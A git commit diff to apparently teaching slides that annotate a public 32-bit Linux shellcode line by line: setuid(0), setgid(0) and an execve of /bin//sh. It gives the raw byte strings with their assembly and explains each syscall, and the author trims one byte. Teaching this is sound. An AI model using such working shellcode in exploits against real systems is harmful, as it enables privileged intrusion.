more explanation of shellcode

This commit is contained in:
Ward Wouts 2023-02-16 13:07:42 +01:00
parent 14d3e81177
commit cce16c40ff

View file

@ -548,10 +548,10 @@ Shellcode from: http://shell-storm.org/shellcode/files/shellcode-251.html
] ]
.right-column[ .right-column[
``` ```
"\x6a\x17" // push $0x17 push $0x17 Put 0x17 = 23 = setuid
"\x58" // pop %eax pop %eax in EAX
"\x31\xdb" // xor %ebx, %ebx xor %ebx, %ebx Make EBX (argument for setuid) 0
"\xcd\x80" // int $0x80 int $0x80 Execute command
``` ```
`int 0x80` is a legacy way of doing a syscall to the kernel. See also: `int 0x80` is a legacy way of doing a syscall to the kernel. See also:
http://www.linfo.org/int_0x80.html As this is a 32-bit program, the list of syscalls can be found here: `/usr/include/asm/unistd_32.h` Which shows the values in decimal: 0x17 = 23 = setuid. http://www.linfo.org/int_0x80.html As this is a 32-bit program, the list of syscalls can be found here: `/usr/include/asm/unistd_32.h` Which shows the values in decimal: 0x17 = 23 = setuid.
@ -564,12 +564,14 @@ So, whats done here is put 0x17 in EAX, and make EBX (the argument for setgid, s
] ]
.right-column[ .right-column[
``` ```
"\x6a\x2e" // push $0x2e push $0x2e Put 0x2e = 46 = setgid
"\x58" // pop %eax pop %eax in EAX
"\x53" // push %ebx push %ebx ... this baffles me, seems unneeded ...
"\xcd\x80" // int $0x80 int $0x80 Execute command
``` ```
Pretty much the same as last snippet, but for 0x2e = 46 = setgid. Pretty much the same as last snippet, but for 0x2e = 46 = setgid.
Not only does that push EBX seem unneeded, removing it has no impact on getting a shell. So in explaining this shellcode I managed to turn it into 36 bytes instead of 37.
] ]
--- ---
@ -578,21 +580,21 @@ Pretty much the same as last snippet, but for 0x2e = 46 = setgid.
] ]
.right-column[ .right-column[
``` ```
"\x31\xd2" // xor %edx, %edx xor %edx, %edx Make EDX 0
"\x6a\x0b" // push $0xb push $0xb Put 0xb = 11 = execve
"\x58" // pop %eax pop %eax in EAX
"\x52" // push %edx push %edx Push NULL terminated
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f push $0x68732f2f command
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f push $0x6e69622f string to stack
"\x89\xe3" // mov %esp, %ebx mov %esp, %ebx Point EBX at command string
"\x52" // push %edx push %edx Push NULL to stack (no more arguments)
"\x53" // push %ebx push %ebx Push pointer to command str
"\x89\xe1" // mov %esp, %ecx mov %esp, %ecx Point ECX at arg list
"\xcd\x80" // int $0x80 int $0x80A Execute command in EAX
``` ```
Another `int 0x80` here for syscall 0xb = 11 = execve. 0x68732f2f in ASCII chars = `hs//`, but little endian, so read `//sh`. Same for 0x6e69622f, which gets `/bin`. Together this makes for `/bin//sh`. That double `/` is here to make things align on 32-bit words. Another `int 0x80` here for syscall 0xb = 11 = execve. 0x68732f2f in ASCII chars = `hs//`, but little endian, so read `//sh`. Same for 0x6e69622f, which gets `/bin`. Together this makes for `/bin//sh`. That double `/` is here to fill that 32-bit word. The EDX that is set to 0 and pushed makes up for the null string terminator.
The arguments for execve will not fit in registers, as they're variable size, so EBX gets a pointer to the string. The arguments for execve will not fit in registers, as they're variable size. So instead ECX points at a list of pointers to strings (commandname + arguments) on the stack (ie ARGV in C). EBX points to the command to execute.
] ]